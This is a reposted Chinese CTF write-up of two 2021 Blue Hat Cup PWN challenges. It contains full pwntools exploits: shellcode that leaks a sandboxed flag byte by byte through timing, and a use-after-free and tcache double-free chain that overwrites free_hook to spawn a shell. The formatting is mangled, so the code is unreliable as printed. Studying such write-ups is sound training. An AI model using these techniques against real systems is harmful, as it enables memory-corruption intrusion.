【技术分享】2021 蓝帽杯初赛 PWN WriteUp

admin 2022年7月11日21:11:22评论62 views字数 6045阅读20分9秒阅读模式

【技术分享】2021 蓝帽杯初赛 PWN WriteUp


slient

这个是去年蓝帽杯线下的原题,找到的是这个exp

开启了沙箱,只启用了open read两个函数,通过写入shellcode之后爆破flag

# encoding=utf-8from pwn import *

file_path = "./chall"context.arch = "amd64"# context.log_level = "debug"context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0if debug:
p = process([file_path])
gdb.attach(p, "b *$rebase(0xC94)")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0else:
p = remote('8.140.177.7', 40334)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0def pwn(p, index, ch):

read_next = "xor rax, rax; xor rdi, rdi;mov rsi, 0x10100;mov rdx, 0x300;syscall;"
# open
shellcode = "push 0x10032aaa; pop rdi; shr edi, 12; xor esi, esi; push 2; pop rax; syscall;"

# re open, rax => 4
shellcode += "push 2; pop rax; syscall;"

# read(rax, 0x10040, 0x50)
shellcode += "mov rdi, rax; xor eax, eax; push 0x50; pop rdx; push 0x10040aaa; pop rsi; shr esi, 12; syscall;"

# cmp and jz
if index == 0:
shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-3; ret".format(index, ch) else:
shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-4; ret".format(index, ch)

shellcode = asm(shellcode) # p.sendlineafter("execution-box.n", read_next.ljust(0x30))

p.sendafter("execution-box.n", shellcode.ljust(0x40 - 14, b'a') + b'/home/pwn/flag')


index = 0ans = []while True: for ch in range(0x20, 127): if debug:
p = process([file_path]) else:
p = remote('8.140.177.7', 40334)
pwn(p, index, ch)
start = time.time() try:
p.recv(timeout=2) except: pass
end = time.time()
p.close() if end - start > 1.5:
ans.append(ch)
print("".join([chr(i) for i in ans])) break
else:
print("".join([chr(i) for i in ans])) break
index = index + 1
print(ans)

print("".join([chr(i) for i in ans]))


portable-rpg
【技术分享】2021 蓝帽杯初赛 PWN WriteUp

首先来看一下题目的逻辑,实现了一个打龙的游戏。题目一共提供了四种操作,分别是add,delete,show,play。在add中,用户可以选择一共三种人物,其分别对应的mp,hp攻击力以及魔法不同。每个人物的结构体如下

00000000 player struc ; (sizeof=0x20, mappedto_38)00000000 name DCD ?00000004 size DCD ?00000008 hp DCD ?0000000C mp DCD ?00000010 atk DCD ?00000014 mtk DCD ?00000018 job_type DCD ?0000001C has_beated DCD ?00000020 player ends

has_beated表示是否已经击败了大龙。其中name是由用户指定的size大小malloc生成的。在delete函数中会首先释放name然后释放人物的这个结构体。

show函数则是输出结构体中的所有的内容,但是只有当has_beated大于0的时候才可以输出。接下来就是打龙的函数也就是play函数。

int play(){ int result; // r0
int i; // [sp+4h] [bp+4h]
int index; // [sp+8h] [bp+8h]
int v3; // [sp+Ch] [bp+Ch] BYREF

puts("index?");
index = get_num(); if ( index < 0 || index > 15 || !player_list[index] ) return puts("invalid index!"); for ( i = 0; i <= 3; ++i )
{
result = meet_monster("Goblin", 0x30, 0x10, index); if ( !result ) return result;
}
result = meet_monster("Dargon", 0x10000, 0x10000, index); if ( result )
{ puts("wooooooh! you win the dargon!");
player_list[index]->has_beated = 1; puts("you have a chance to change your name, change it?[y/n]");
result = read(0, &v3, 2u); if ( v3 == 0x79 )
result = read(0, (void *)player_list[index]->name, player_list[index]->size);
} return result;
}

可以看到这里首先是打了三个小怪,然后才打大龙Dargon。只有成功beat才可以将has_beated置为1。这里有一个比较坑的点就是后面这个v3=0x79的判断是怎么也过不去的。因为v3是一个int类型,但是read的时候只读了两个字符。由于栈中脏数据的影响,这里的判断永远不成立。因此这里没办法再次写入。

漏洞其实处在add函数中,我们来看一下

int create(){ int v1; // r3
struct player *v2; // r5
int i; // [sp+4h] [bp+4h]
unsigned int size; // [sp+8h] [bp+8h]

for ( i = 0; i <= 15 && player_list[i]; ++i )
; if ( i == 16 ) return puts("player list full!");
player_list[i] = (struct player *)malloc(0x20u); puts("which player job do you want to choose?"); puts("1. warrior"); puts("2. magician"); puts("3. priest"); printf(">> ");
v1 = get_num(); switch ( v1 )
{ case 2:
player_list[i]->hp = 0x30;
player_list[i]->mp = 0x100;
player_list[i]->atk = 0;
player_list[i]->mtk = 0x30;
player_list[i]->job_type = 2;
player_list[i]->has_beated = 0; puts("name size?");
size = get_num(); if ( size >= 0x400 )
size = 0x400; goto LABEL_18; case 3:
player_list[i]->hp = 0x80;
player_list[i]->mp = 0x80;
player_list[i]->atk = 0x18;
player_list[i]->mtk = 0x18;
player_list[i]->job_type = 3;
player_list[i]->has_beated = 0; puts("name size?");
size = get_num(); if ( size >= 0x400 )
size = 0x400; goto LABEL_18; case 1:
player_list[i]->hp = 0x100;
player_list[i]->mp = 0x10;
player_list[i]->atk = 0x30;
player_list[i]->mtk = 0;
player_list[i]->job_type = 1;
player_list[i]->has_beated = 0; puts("name size?");
size = get_num(); if ( size >= 0x400 )
size = 0x400;
LABEL_18: puts("user name?");
player_list[i]->size = size;
v2 = player_list[i];
v2->name = (int)malloc(size);
read(0, (void *)player_list[i]->name, size); break;
} return puts("create success!");
}

这里首先是申请了一个0x20大小的堆块用作是player的结构体。接着读取用户的输入确定人物的job,之后分配了用户指定size大小的name buf。注意到当我们输入大于3的人物的job类型的时候,switch会直接不起作用。并且这里也没有错误的检查,因此这里新创建的player中的各个数值的类型就直接取决于堆中的脏数据。

正常的逻辑是我们用堆中的脏数据beat大龙,然后拿到一个堆溢出的漏洞构造任意写,但是这里写操作无法使用。因此需要转换思路。我们可以直接通过堆中的脏数据将has_beated置为大于0的数值,泄漏出一些信息。

并且堆中的fd指针恰好对应的是name成员变量。因此这里我们可以构造double free/uaf。到这里就很简单了。这里我是利用的uaf泄漏出libc基地址,然后通过uaf构造tcache double free漏洞,任意地址分配覆写free_hook。

# encoding=utf-8from pwn import *

file_path = "./vuln"context.arch = "amd64"elf = ELF(file_path)
p = remote('', 0)
libc = ELF('./libc.so.6')def add(type, size, content=b"n"):
p.sendlineafter(">> ", "1")
p.sendlineafter(">> ", str(type))
p.sendlineafter("name size?n", str(size))
p.sendafter("user name?n", content)def delete(index):
p.sendlineafter(">> ", "2")
p.sendlineafter("index?n", str(index))def show(index):
p.sendlineafter(">> ", "3")
p.sendlineafter("index?n", str(index))def play(index):
p.sendlineafter("exitn>> ", "4")
p.sendlineafter("index?n", str(index))def meet_monster(type):
p.sendlineafter(">> ", str(type))def ab_write(index, value):
play(index)
meet_monster(1)
meet_monster(1)
meet_monster(1)
meet_monster(1)
meet_monster(1)
p.sendlineafter("change it?[y/n]n", p32(121))
p.send(value)def hack_add(type):
p.sendlineafter("exitn>> ", "1")
p.sendlineafter(">> ", p32(type))


payload = p32(0x20000)*8for i in range(16):
add(1, 0x20, payload)for i in range(16):
delete(i)for i in range(10):
add(1, 0x90)for i in range(10):
delete(i)

log.success("fill finished")

add(1, 0x20)
add(1, 0x20)

hack_add(4)for i in range(9):
add(1, 0x58)

show(2)
p.recvuntil("name: ")
heap_address = u32(p.recv(4))for i in range(7):
delete(i + 5)
delete(3)
add(1, 0x400)
show(2)
p.recvuntil("name: ")
p.recv(4)if debug:
libc.address = u32(p.recv(4)) - 0x1f4838else:
libc.address = u32(p.recv(4)) - 0x13A7F4 - 0x54for i in range(7):
add(1, 0x58, b"/bin/sh")
add(3, 0x20)

play(2)
meet_monster(1)
meet_monster(1)
meet_monster(1)
meet_monster(1)
meet_monster(1)
p.sendlineafter("change it?[y/n]n", "n")
delete(12)
delete(2)
delete(7)
add(1, 0x30)
add(1, 0x20, p32(libc.address + 0x13B768))
add(1, 0x20, p32(libc.address + 0x37170))
log.success("libc address is {}n".format(hex(libc.address)))
delete(5)
p.interactive()

【技术分享】2021 蓝帽杯初赛 PWN WriteUp

- 结尾 -
精彩推荐
【技术分享】Office文件格式基础知识(1)
【技术分享】2020 Codegate Web题解
【技术分享】《Dive into Windbg系列》Wireshark的卡死与崩溃

【技术分享】2021 蓝帽杯初赛 PWN WriteUp
戳“阅读原文”查看更多内容

原文始发于微信公众号(安全客):【技术分享】2021 蓝帽杯初赛 PWN WriteUp

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月11日21:11:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【技术分享】2021 蓝帽杯初赛 PWN WriteUphttp://cn-sec.com/archives/1170847.html

发表评论

匿名网友 填写信息